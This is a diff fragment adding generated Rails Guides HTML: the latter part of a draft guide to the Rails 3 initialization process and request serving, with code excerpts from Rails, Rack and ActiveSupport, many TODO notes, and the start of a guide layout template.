+    ...
+
+      def initialize(app)
+        super()
+        @_app = app
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Here our method calls <tt>super</tt> but with a difference: it&#8217;s passing in no arguments intentionally by putting the two brackets at the end. The method called here is therefore <tt>ActionController::Metal.initialize</tt>.</p>
+<h4 id="actioncontroller-metal-initialize">23.15 <tt>ActionController::Metal.initialize</tt></h4>
+<p>This is another subclassed class, this time from <tt>ActionController::AbstractController</tt> and I&#8217;m sure you can guess what that means:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Metal &lt; AbstractController::Base
+
+    ...
+
+    def initialize(*)
+      @_headers = {}
+      super
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>The single <tt>*</tt> in the argument listing means we can accept any number of arguments, we just don&#8217;t care what they are.</p>
+<h4 id="abstractcontroller-base-initialize">23.16 <tt>AbstractController::Base.initialize</tt></h4>
+<p>This may be anti-climatic, but the initialize method here just returns an <tt>AbstractController::Base</tt> object:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# Initialize controller with nil formats.
+  def initialize #:nodoc:
+    @_formats = nil
+  end
+</pre>
+</div>
+</notextile>
+
+<h4 id="actiondispatch-middlewarestack-use">23.17 <tt>ActionDispatch::MiddlewareStack.use</tt></h4>
+<p>Now we&#8217;re back to this method, from our foray into the depths of how <tt>Middleware.new</tt> works, we&#8217;ve showed that it is an instance of <tt>AbstractController::Base</tt>. Therefore it does</p>
+<p><span class="caps">TODO</span>: <span class="caps">ELABORATE</span> ON <span class="caps">THIS</span> <span class="caps">SECTION</span>, including explaining what all the pieces of middleware do. Then explain how the default_middleware_stack does what it does, whatever that is.</p>
+<h4 id="back-to-rails-application-configuration-new">23.18 Back to <tt>Rails::Application::Configuration.new</tt></h4>
+<p>Now that the first call to this method is complete (<tt>Plugin::Configuration.default</tt>), we can move onto the second call. Here&#8217;s a refresher of what this method does:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def initialize(base = nil)
+    if base
+      @options    = base.options.dup
+      @middleware = base.middleware.dup
+    else
+      @options    = Hash.new { |h,k| h[k] = ActiveSupport::OrderedOptions.new }
+      @middleware = self.class.default_middleware_stack
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>You&#8217;ll note now that this method is being called now is <tt>Configuration.new(Plugin::Configuration.default)</tt> and with the argument, it&#8217;s going to perform differently than before, this time duplicating the <tt>options</tt> and <tt>middleware</tt> of the object it was passed.</p>
+<p><span class="caps">TODO</span>: Find out what purpose the <tt>@options</tt> and <tt>@middleware</tt> variables serve.</p>
+<p>Finally, a <tt>Rails::Application::Configuration</tt> object will be returned. On this class there are a couple of <tt>attr_accessor</tt>s and <tt>attr_writer</tt>s defined:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+attr_accessor :after_initialize_blocks, :cache_classes, :colorize_logging,
+                :consider_all_requests_local, :dependency_loading,
+                :load_once_paths, :logger, :plugins,
+                :preload_frameworks, :reload_plugins, :serve_static_assets,
+                :time_zone, :whiny_nils
+
+  attr_writer :cache_store, :controller_paths,
+              :database_configuration_file, :eager_load_paths,
+              :i18n, :load_paths, :log_level, :log_path, :paths,
+              :routes_configuration_file, :view_path
+</pre>
+</div>
+</notextile>
+
+<p>Along with these are a lot of helper methods, and one of them is <tt>environment_path</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def environment_path
+    &quot;#{root}/config/environments/#{Rails.env}.rb&quot;
+  end
+</pre>
+</div>
+</notextile>
+
+<h4 id="back-to-rails-application-require_environment">23.19 Back to <tt>Rails::Application#require_environment</tt></h4>
+<p>Now that we have a <tt>Rails::Application::Configuration</tt> object for the <tt>config</tt> method, we call the <tt>environment_path</tt> which, as we&#8217;ve seen above, just requires the current environment file which in this case is <em>config/environments/development.rb</em>. If this file cannot be found, the <tt>LoadError</tt> <tt>require</tt> throws will be <tt>rescue</tt>&#8217;d and Rails will continue on its merry way.</p>
+<h4 id="_config-environments-development-rb_">23.20 <em>config/environments/development.rb</em></h4>
+<p>In a standard Rails application we have this in our <em>config/environments/development.rb</em> file:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+YourApp::Application.configure do
+    # Settings specified here will take precedence over those in config/environment.rb
+
+    # In the development environment your application's code is reloaded on
+    # every request.  This slows down response time but is perfect for development
+    # since you don't have to restart the webserver when you make code changes.
+    config.cache_classes = false
+
+    # Log error messages when you accidentally call methods on nil.
+    config.whiny_nils = true
+
+    # Show full error reports and disable caching
+    config.action_controller.consider_all_requests_local = true
+    config.action_view.debug_rjs                         = true
+    config.action_controller.perform_caching             = false
+
+    # Don't care if the mailer can't send
+    config.action_mailer.raise_delivery_errors = false
+  end
+</pre>
+</div>
+</notextile>
+
+<p>It&#8217;s a little bit sneaky here, but <tt>configure</tt> is <tt>alias</tt>&#8216;d to <tt>class_eval</tt> on subclasses of <tt>Rails::Application</tt> which of course includes <tt>YourApp::Application</tt>. This means that the code inside the <tt>configure do</tt> block will be evaled within the context of <tt>YourApp::Application</tt>. The <tt>config</tt> method here is the one mentioned before: the <tt>Rails::Application::Configuration</tt> object. The methods on it should look familiar too: they&#8217;re the ones that had <tt>attr_accessor</tt> and <tt>attr_writer</tt> definitions.</p>
+<p>The ones down the bottom, <tt>config.action_controller</tt>, <tt>config.action_view</tt> and <tt>config.action_mailer</tt> aren&#8217;t defined by <tt>attr_accessor</tt> or <tt>attr_writer</tt>, rather they&#8217;re undefined methods and therefore will trigger the <tt>method_missing</tt> on the <tt>Rails::Application::Configuration</tt> option.</p>
+<h5 id="config-cache_classes">23.20.1 config.cache_classes=</h5>
+<p>The first method call in this file, this tells Rails to not cache the classes for every request. This means for every single request Rails will reload the classes of your application. If you have a lot of classes, this will slow down the request cycle of your application. This is set to <tt>false</tt> in the <em>development</em> environment, and <tt>true</tt> in the <em>test</em> &amp; <em>production</em> environments.</p>
+<h5 id="config-whiny_nils">23.20.2 config.whiny_nils=</h5>
+<p>If this is set to <tt>true</tt>, like it is here in the <em>development</em> environment, <em>activesupport/whiny_nil</em> will be <tt>require</tt>&#8217;d. Have you ever seen this error:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+Called id for nil, which would mistakenly be 4 -- if you really wanted the id of nil, use object_id
+</pre>
+</div>
+</notextile>
+
+<p>Or perhaps this one?</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+You have a nil object when you didn't expect it!
+  You might have expected an instance of Array.
+  The error occurred while evaluating nil.flatten!
+</pre>
+</div>
+</notextile>
+
+<p>If you have, then this is <em>activesupport/whiny_nil</em> at work.</p>
+<h5 id="the-frameworks">23.20.3 The frameworks</h5>
+<p>As mentioned before, the methods <tt>action_controller</tt>, <tt>action_view</tt> and <tt>action_mailer</tt> aren&#8217;t defined on the <tt>Rails::Application::Configuration</tt> object, rather they are caught by <tt>method_missing</tt> which does this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def method_missing(name, *args, &amp;blk)
+    if name.to_s =~ config_key_regexp
+      return $2 == '=' ? @options[$1] = args.first : @options[$1]
+    end
+
+    super
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Whilst this code is not obvious at first, a little bit of further explanation will help you understand. <tt>config_key_regexp</tt> is another method (a private one, like <tt>method_missing</tt>) defined here:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def config_key_regexp
+    bits = config_keys.map { |n| Regexp.escape(n.to_s) }.join('|')
+    /^(#{bits})(?:=)?$/
+  end
+</pre>
+</div>
+</notextile>
+
+<p>As is <tt>config_keys</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def config_keys
+    ([ :active_support, :action_view ] +
+      Railtie.plugin_names).map { |n| n.to_s }.uniq
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Aha! There we&#8217;ve got mention of <tt>action_view</tt>, but what is in <tt>Railtie.plugin_names</tt>? Most likely in this case the other frameworks.</p>
+<h5 id="railtie-plugin_names">23.20.4 <tt>Railtie.plugin_names</tt></h5>
+<p>I&#8217;m going to show you two methods since the third one, <tt>self.plugin_name</tt>, calls the second one, <tt>self.plugins</tt> and they&#8217;re right after each other:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module Rails
+    class Railtie
+      def self.inherited(klass)
+        @plugins ||= []
+        @plugins &lt;&lt; klass unless klass == Plugin
+      end
+
+      def self.plugins
+        @plugins
+      end
+
+      def self.plugin_names
+        plugins.map { |p| p.plugin_name }
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>In here we see that we get the <tt>plugin_names</tt> from a variable called <tt>@plugins</tt>&#8230; which we haven&#8217;t seen yet. Through the power of the wonderful <tt>inherited</tt> the <tt>@plugins</tt> variable is populated. <tt>inherited</tt> is called when a class inherits, or subclasses, from this class. Therefore we can determine that the other classes are probably inheriting or subclassing from <tt>Rails::Railtie</tt>.</p>
+<h3 id="serving-a-request">24 Serving a Request</h3>
+<p>Now that your application is fully initialized, it&#8217;s now ready to start serving requests.</p>
+<h4 id="_rails-server_">24.1 <em>rails server</em></h4>
+<p>For servers running through <em>rails server</em> you may recall that this uses <tt>Rails::Server</tt> which is a subclass of <tt>Rack::Server</tt>. Previously we covered the initialization process of Rack but not completely up to the point where the server was running. Now that&#8217;s what we&#8217;ll do. Back when the <tt>Rack::Server</tt> class was first covered there was a mention of the <tt>start</tt> method which we only touched on. It goes a little like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def start
+    if options[:debug]
+      $DEBUG = true
+      require 'pp'
+      p options[:server]
+      pp wrapped_app
+      pp app
+    end
+
+    if options[:warn]
+      $-w = true
+    end
+
+    if includes = options[:include]
+      $LOAD_PATH.unshift *includes
+    end
+
+    if library = options[:require]
+      require library
+    end
+
+    daemonize_app if options[:daemonize]
+    write_pid if options[:pid]
+    server.run wrapped_app, options
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We were at the point of explaining what <tt>wrapped_app</tt> was before we dived into the Rails initialization process.Now that we have a <tt>wrapped_app</tt> we pass it as the first argument to <tt>server.run</tt>. <tt>server</tt> in this instance is defined like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def server
+    @_server ||= Rack::Handler.get(options[:server]) || Rack::Handler.default
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Our <tt>options</tt> Hash is still the default, and there is no <tt>server</tt> key set in <tt>default_options</tt>, so it will default to <tt>Rack::Handler.default</tt>. This code works like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.default(options = {})
+    # Guess.
+    if ENV.include?(&quot;PHP_FCGI_CHILDREN&quot;)
+      # We already speak FastCGI
+      options.delete :File
+      options.delete :Port
+
+      Rack::Handler::FastCGI
+    elsif ENV.include?(&quot;REQUEST_METHOD&quot;)
+      Rack::Handler::CGI
+    else
+      begin
+        Rack::Handler::Mongrel
+      rescue LoadError =&gt; e
+        Rack::Handler::WEBrick
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<p>We don&#8217;t have <tt>PHP_FCGI_CHILDREN</tt> in our <tt>ENV</tt>, so it&#8217;s not going to be <tt>FastCGI</tt>. We also don&#8217;t have <tt>REQUEST_METHOD</tt> in there, so it&#8217;s not going to be <tt>CGI</tt>. If we have Mongrel installed it&#8217;ll default to that and then finally it&#8217;ll use WEBrick. For this, we&#8217;ll assume a bare-bones installation and assume WEBrick. So from this we can determine our default handler is <tt>Rack::Handler::WEBrick</tt>.</p>
+<p>(side-note: Mongrel doesn&#8217;t install on 1.9. <span class="caps">TODO</span>: How do we format these anyway?)</p>
+<h5 id="rack-handler-webrick">24.1.1 <tt>Rack::Handler::WEBrick</tt></h5>
+<p>This class is subclassed from <tt>WEBrick::HTTPServlet::AbstractServlet</tt> which is a class that comes with the Ruby standard library. This is the magical class that serves the requests and deals with the comings (requests) and goings (responses) for your server.</p>
+<p><tt>Rack::Server</tt> has handlers for the request and by default the handler for a <em>rails server</em> server is</p>
+<h3 id="cruft">25 Cruft!</h3>
+<p>The final line of <em>config/environment.rb</em>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+YourApp::Application.initialize!
+</pre>
+</div>
+</notextile>
+
+<p>gets down to actually initializing the application!</p>
+<p><span class="caps">TODO</span>: Cover the other <tt>config.*</tt> methods in perhaps a &#8220;Bonus&#8221; section near the end. If they aren&#8217;t referenced in a config file they aren&#8217;t that important, right?</p>
+<p><span class="caps">TODO</span>: This belongs in the guide, I just don&#8217;t know where yet. Maybe towards the end, since this is really the &#8220;final&#8221; thing to be done before being able to serve requests.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def build_app(app)
+    middleware[options[:environment]].reverse_each do |middleware|
+      middleware = middleware.call(self) if middleware.respond_to?(:call)
+      next unless middleware
+      klass = middleware.shift
+      app = klass.new(app, *middleware)
+    end
+    app
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Because we don&#8217;t have any middleware for our application, this returns the application itself( Guessing here!! <span class="caps">TODO</span>: Investigate if this is really the case.)</p>
+<p>Now that we have an app instance, the last line in <tt>start</tt> calls <tt>server.run wrapped_app, options</tt>. We know what our app is, and that our options are just the default options, so what is <tt>server</tt>? <tt>server</tt> is this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def server
+    @_server ||= Rack::Handler.get(options[:server]) || Rack::Handler.default
+  end
+</pre>
+</div>
+</notextile>
+
+<p>Since we have default options, the server is obviously going to be <tt>Rack::Handler.default</tt>. The <tt>default</tt> method goes like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def self.default(options = {})
+    # Guess.
+    if ENV.include?(&quot;PHP_FCGI_CHILDREN&quot;)
+      # We already speak FastCGI
+      options.delete :File
+      options.delete :Port
+
+      Rack::Handler::FastCGI
+    elsif ENV.include?(&quot;REQUEST_METHOD&quot;)
+      Rack::Handler::CGI
+    else
+      begin
+        Rack::Handler::Mongrel
+      rescue LoadError =&gt; e
+        Rack::Handler::WEBrick
+      end
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<h3 id="rails-paths">26 <tt>Rails::Paths</tt></h3>
+<p>The <tt>super</tt> method it references comes from <tt>Rails::Engine::Configuration</tt> which defines these paths:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def paths
+    @paths ||= begin
+      paths = Rails::Paths::Root.new(@root)
+      paths.app                 &quot;app&quot;,                 :eager_load =&gt; true, :glob =&gt; &quot;*&quot;
+      paths.app.controllers     &quot;app/controllers&quot;,     :eager_load =&gt; true
+      paths.app.helpers         &quot;app/helpers&quot;,         :eager_load =&gt; true
+      paths.app.models          &quot;app/models&quot;,          :eager_load =&gt; true
+      paths.app.views           &quot;app/views&quot;
+      paths.lib                 &quot;lib&quot;,                 :load_path =&gt; true
+      paths.lib.tasks           &quot;lib/tasks&quot;,           :glob =&gt; &quot;**/*.rake&quot;
+      paths.lib.templates       &quot;lib/templates&quot;
+      paths.config              &quot;config&quot;
+      paths.config.initializers &quot;config/initializers&quot;, :glob =&gt; &quot;**/*.rb&quot;
+      paths.config.locales      &quot;config/locales&quot;,      :glob =&gt; &quot;*.{rb,yml}&quot;
+      paths.config.routes       &quot;config/routes.rb&quot;
+      paths
+    end
+  end
+</pre>
+</div>
+</notextile>
+
+<h3 id="appendix-a">27 Appendix A</h3>
+<p>This file is <em>activesupport/lib/active_support/inflector/inflections.rb</em> and defines the <tt>ActiveSupport::Inflector::Inflections</tt> class which defines the <tt>singularize</tt>, <tt>pluralize</tt>, <tt>humanize</tt>, <tt>tableize</tt>, <tt>titleize</tt> and <tt>classify</tt> methods as well as the code to defining how to work out the irregular, singular, plural and human versions of words. These methods are called <tt>irregular</tt>, <tt>singular</tt>, <tt>plural</tt> and <tt>human</tt> respectively, as is the Rails way.</p>
+<p>This file is <em>activesupport/lib/active_support/inflector/transliterate.rb</em> and defines two methods, <tt>transliterate</tt> and <tt>parameterize</tt>.</p>
+<p>This file first requires <em>activesupport/lib/active_support/core_ext/string/multibyte.rb</em>, which requires <em>activesupport/lib/active_support/multibyte.rb</em>, which subsequently requires <em>activesupport/core_ext/module/attribute_accessors.rb</em>. The <em>attribute_accessors.rb</em> file is needed to gain access to the <tt>mattr_accessor</tt> (module attribute accessor) method, which is called in <em>active_suport/multibyte.rb</em>. The file <em>active_support/multibyte.rb</em> also autoloads three other classes:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+module ActiveSupport #:nodoc:
+  module Multibyte
+    autoload :EncodingError, 'active_support/multibyte/exceptions'
+    autoload :Chars, 'active_support/multibyte/chars'
+    autoload :Unicode, 'active_support/multibyte/unicode'
+    ...
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>There are also these method definitions:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# The proxy class returned when calling mb_chars. You can use this accessor to configure your own proxy
+  # class so you can support other encodings. See the ActiveSupport::Multibyte::Chars implementation for
+  # an example how to do this.
+  #
+  # Example:
+  #   ActiveSupport::Multibyte.proxy_class = CharsForUTF32
+  def self.proxy_class=(klass)
+    @proxy_class = klass
+  end
+
+  # Returns the currect proxy class
+  def self.proxy_class
+    @proxy_class ||= ActiveSupport::Multibyte::Chars
+  end
+</pre>
+</div>
+</notextile>
+
+<p>These methods are used in <em>activesupport/lib/active_support/core_ext/string/multibyte.rb</em>.</p>
+<p>The file <em>activesupport/lib/active_support/core_ext/string/chars.rb</em>  defines the default proxy class that will be returned by <tt>mb_chars</tt>.</p>
+<p>Because Ruby 1.9&#8217;s <tt>String</tt> class has support for multibyte encodings, some methods are defined only for Ruby 1.8:</p>
+<ul>
+	<li><tt>self.wants?</tt></li>
+	<li><tt></tt>+</li>
+	<li><tt>=~</tt></li>
+	<li><tt>=~</tt></li>
+	<li><tt>center</tt></li>
+	<li><tt>include?</tt></li>
+	<li><tt>index</tt></li>
+	<li><tt>insert</tt></li>
+	<li><tt>ljust</tt></li>
+	<li><tt>lstrip</tt>, <tt>lstrip!</tt></li>
+	<li><tt>ord</tt></li>
+	<li><tt>rindex</tt></li>
+	<li><tt>rjust</tt></li>
+	<li><tt>rstrip</tt>, <tt>rstrip!</tt></li>
+	<li><tt>size</tt></li>
+	<li><tt>strip</tt>, <tt>strip!</tt></li>
+</ul>
+<p>However, Ruby 1.9 lacks support for some needed operations, so the following methods are defined for both Ruby 1.8 and Ruby 1.9:</p>
+<ul>
+	<li><tt><=></tt></li>
+	<li><tt>[]=</tt></li>
+	<li><tt>capitalize</tt>, <tt>capitalize!</tt></li>
+	<li><tt>compose</tt></li>
+	<li><tt>decompose</tt></li>
+	<li><tt>downcase</tt>, <tt>downcase!</tt></li>
+	<li><tt>g_length</tt></li>
+	<li><tt>limit</tt></li>
+	<li><tt>normalize</tt></li>
+	<li><tt>reverse</tt>, <tt>reverse</tt>!</li>
+	<li><tt>slice</tt>, <tt>slice!</tt></li>
+	<li><tt>split</tt></li>
+	<li><tt>tidy_bytes</tt>, <tt>tidy_bytes!</tt></li>
+	<li><tt>titleize</tt></li>
+	<li><tt>upcase</tt>, <tt>upcase!</tt></li>
+</ul>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class String
+    if RUBY_VERSION &gt;= &quot;1.9&quot;
+      def mb_chars
+        if ActiveSupport::Multibyte.proxy_class.consumes?(self)
+          ActiveSupport::Multibyte.proxy_class.new(self)
+        else
+          self
+        end
+      end
+
+      def is_utf8? #:nodoc
+        case encoding
+        when Encoding::UTF_8
+          valid_encoding?
+        when Encoding::ASCII_8BIT, Encoding::US_ASCII
+          dup.force_encoding(Encoding::UTF_8).valid_encoding?
+        else
+          false
+        end
+      end
+    else
+      def mb_chars
+        if ActiveSupport::Multibyte.proxy_class.wants?(self)
+          ActiveSupport::Multibyte.proxy_class.new(self)
+        else
+          self
+        end
+      end
+
+      # Returns true if the string has UTF-8 semantics (a String used for purely byte resources is unlikely to have
+      # them), returns false otherwise.
+      def is_utf8?
+        ActiveSupport::Multibyte::Chars.consumes?(self)
+      end
+    end
+</pre>
+</div>
+</notextile>
+
+<p>As you can see, <tt>mb_chars</tt> is where the <tt>proxy_class</tt> property comes in handy. This method will create a new instance of the configured proxy class using the instance of <tt>String</tt> as a constructor argument. By default, the new <tt>String</tt>-like object will be an instance of the proxy class <tt>ActiveSupport::Multibyte::Chars</tt>. You can use <tt>ActiveSupport::Multibyte.proxy_class=</tt> to set a different proxy class if you wish.</p>
+<p>Here, <tt>mb_chars</tt> invokes <tt>is_utf8?</tt> to checks if the string can be treated as <span class="caps">UTF</span>-8. On 1.9, the string&#8217;s <tt>encoding</tt> property is checked. On 1.8, <tt>wants?</tt> checks to see if <tt>$KCODE</tt> is &#8220;<span class="caps">UTF</span>-8&#8221; and, and <tt>consumes?</tt> checks whether the string can be unpacked as <span class="caps">UTF</span>-8 without raising an error.</p>
+<p>The keen eye will have seen <tt>ActiveSupport::Multibyte::Chars</tt> was specified as an <tt>autoload</tt> earlier: <em>activesupport/lib/active_support/multibyte/chars.rb</em> will be loaded without an explicit <tt>require</tt> when we call <tt>is_utf8</tt> on 1.8, or <tt>mb_chars</tt> on any Ruby version. This file includes <em>activesupport/lib/active_support/string/access.rb</em> which defines methods such as <tt>at</tt>, <tt>from</tt>, <tt>to</tt>, <tt>first</tt> and <tt>last</tt>. These methods will return parts of the string depending on what is passed to them.</p>
+<p>The second file included is <em>activesupport/lib/active_support/string/behavior.rb</em> which only defines  <tt>acts_like_string?</tt> on <tt>String</tt>, a method which always returns <tt>true</tt>. This method is used by <tt>Object#acts_like?</tt>, which accepts a single argument representing the downcased and symbolised version of a class, and returns true if the object&#8217;s behavior is like that class. In this case the code would be <tt>acts_like?(:string)</tt>.</p>
+<p>The <tt>Chars</tt> class also defines other important methods such as the &#8220;spaceship&#8221; method <tt><=></tt>, which is needed by the <tt>Comparable</tt> module, in order to allow <span class="caps">UTF</span>-8-aware sorting.</p>
+<h3 id="common-includes">28 Common Includes</h3>
+<p><span class="caps">TODO</span>: I feel this section would be better at the end of the guide as it breaks the flow.</p>
+<p>This section is for all the common includes in the Railties.</p>
+<h4 id="require-active_support-inflector">28.1 <tt>require 'active_support/inflector'</tt></h4>
+<p>This file is <em>activesupport/lib/active_support/inflector.rb</em> and makes a couple of requires out different files tasked with putting inflections in place:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/inflector/inflections'
+  require 'active_support/inflector/transliterate'
+  require 'active_support/inflector/methods'
+
+  require 'active_support/inflections'
+  require 'active_support/core_ext/string/inflections'
+</pre>
+</div>
+</notextile>
+
+<p>The files included here define methods for modifying strings, such as <tt>transliterate</tt> which will convert a Unicode string to its <span class="caps">ASCII</span> version, <tt>parameterize</tt> for making strings into url-safe versions, <tt>camelize</tt> for camel-casing a string such as <tt>string_other</tt> into <tt>StringOther</tt> and <tt>ordinalize</tt> converting a string such as <tt>101</tt> into <tt>101st</tt>. More information about these methods can be found in the Active Support Core Extensions Guide. <span class="caps">TODO</span>: Link to AS Guide.</p>
+<h4 id="require-active_support-core_ext-module-delegation">28.2 <tt>require 'active_support/core_ext/module/delegation'</tt></h4>
+<p><em>activesupport/lib/active_support/core_ext/module/delegation.rb</em> defines the <tt>delegate</tt> method which can be used to delegate methods to other methods in your code. Take the following code example:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Client &lt; ActiveRecord::Base
+    has_one :address
+
+    delegate :address_line_1, :to =&gt; :address
+  end
+</pre>
+</div>
+</notextile>
+
+<p>This defines an <tt>address_line_1</tt> method which is defined as:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def address_line_1(*args, &amp;block)
+    address.__send__(:address_line_1, *args, &amp;block)
+    rescue NoMethodError
+      if address.nil?
+        raise &quot;address_line_1 is delegated to address.address_line_1, but address is nil: #{client.inspect}&quot;
+      end
+  end
+</pre>
+</div>
+</notextile>
+
+<h4 id="require-active_support-core_ext-class-attribute_accessors">28.3 <tt>require 'active_support/core_ext/class/attribute_accessors'</tt></h4>
+<p>The file, <em>activesupport/lib/active_support/core_ext/class/attribute_accessors.rb_, defines the class accessor methods <tt>cattr_writer</tt>, <tt>cattr_reader</tt> and <tt>cattr_accessor</tt>. <tt>cattr_accessor</tt> defines a <tt>cattr_reader</tt> and <tt>cattr</em>writer</tt></notextile> for the symbol passed in. These methods work by defining class variables when you call their dynamic methods.</p>
+<p>Throughout the Railties there a couple of common includes. They are listed here for your convenience.</p>
+<h4 id="require-active_support-core_ext-module-attr_internal">28.4 <tt>require 'active_support/core_ext/module/attr_internal</tt></h4>
+<p>This file defines three methods <tt>attr_internal_reader</tt>, <tt>attr_internal_writer</tt> and <tt>attr_internal_accessor</tt>. These work very similar to the <tt>attr_reader</tt>, <tt>attr_writer</tt> and <tt>attr_accessor</tt> methods, except the variables they define begin with <tt>@_</tt>. This was done to ensure that they do not clash with variables used people using Rails, as people are less-likely to define say, <tt>@_request</tt> than they are to define <tt>@request</tt>. An example of where this method is used is for <tt>params</tt> in the <tt>ActionController::Metal</tt> class.</p>
+<h4 id="require-active_support-ruby-shim">28.5 <tt>require 'active_support/ruby/shim'</tt></h4>
+<p>The <em>activesupport/lib/active_support/ruby/shim.rb</em> file requires methods that have been implemented in Ruby versions greater than 1.9. This is done so you can use Rails 3 on versions earlier than 1.9, such as 1.8.7. These methods are:</p>
+<ul>
+	<li><tt>Date#next_month</tt></li>
+	<li><tt>Date#next_year</tt></li>
+	<li><tt>DateTime#to_date</tt></li>
+	<li><tt>DateTime#to_datetime</tt></li>
+	<li><tt>DateTime#xmlschema</tt></li>
+	<li><tt>Enumerable#group_by</tt></li>
+	<li><tt>Enumerable#each_with_object</tt></li>
+	<li><tt>Enumerable#none?</tt></li>
+	<li><tt>Process#daemon</tt></li>
+	<li><tt>String#ord</tt></li>
+	<li><tt>Time#to_date</tt></li>
+	<li><tt>Time.to_time</tt></li>
+	<li><tt>Time.to_datetime</tt></li>
+</ul>
+<p>For more information see the Active Support Core Extensions guide <span class="caps">TODO</span>: link to relevant sections for each method.</p>
+<p>And <a href="[http://weblog.rubyonrails.org/2008/8/23/dos-vulnerabilities-in-rexml">the <span class="caps">REXML</span> security fix detailed here</a>]</p>
+      </div>
+    </div>
+  </div>
+
+  <hr class="hide" />
+  <div id="footer">
+    <div class="wrapper">
+      <p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-sa/3.0/">Creative Commons Attribution-Share Alike 3.0</a> License</p>
+      <p>"Rails", "Ruby on Rails", and the Rails logo are trademarks of David Heinemeier Hansson. All rights reserved.</p>
+    </div>
+  </div>
+
+  <script type="text/javascript" src="javascripts/guides.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shCore.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushRuby.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushXml.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
+  <script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
+  <script type="text/javascript">
+    SyntaxHighlighter.all()
+  </script>
+</body>
+</html>
doc/guides/layout.html
@@ -0,0 +1,252 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
+
+<title></title>
+
+<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/print.css" media="print" />
+
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shCore.css" />
+<link rel="stylesheet" type="text/css" href="stylesheets/syntaxhighlighter/shThemeRailsGuides.css" />
+</head>
+<body class="guide">
+  <div id="topNav">
+    <div class="wrapper">
+      <strong>More at <a href="http://rubyonrails.org/">rubyonrails.org:</a> </strong>
+      <a href="http://rubyonrails.org/">Overview</a> |
+      <a href="http://rubyonrails.org/download">Download</a> |
+      <a href="http://rubyonrails.org/deploy">Deploy</a> |
+      <a href="http://rails.lighthouseapp.com/projects/8994-ruby-on-rails/overview">Code</a> |
+      <a href="http://rubyonrails.org/screencasts">Screencasts</a> |
+      <a href="http://rubyonrails.org/documentation">Documentation</a> |
+      <a href="http://rubyonrails.org/ecosystem">Ecosystem</a> |
+      <a href="http://rubyonrails.org/community">Community</a> |
+      <a href="http://weblog.rubyonrails.org/">Blog</a>
+    </div>
+  </div>
+  <div id="header">
+    <div class="wrapper clearfix">
+      <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1>
+      <p class="hide"><a href="#mainCol">Skip navigation</a>.</p>
+      <ul class="nav">
+        <li><a href="index.html">Home</a></li>
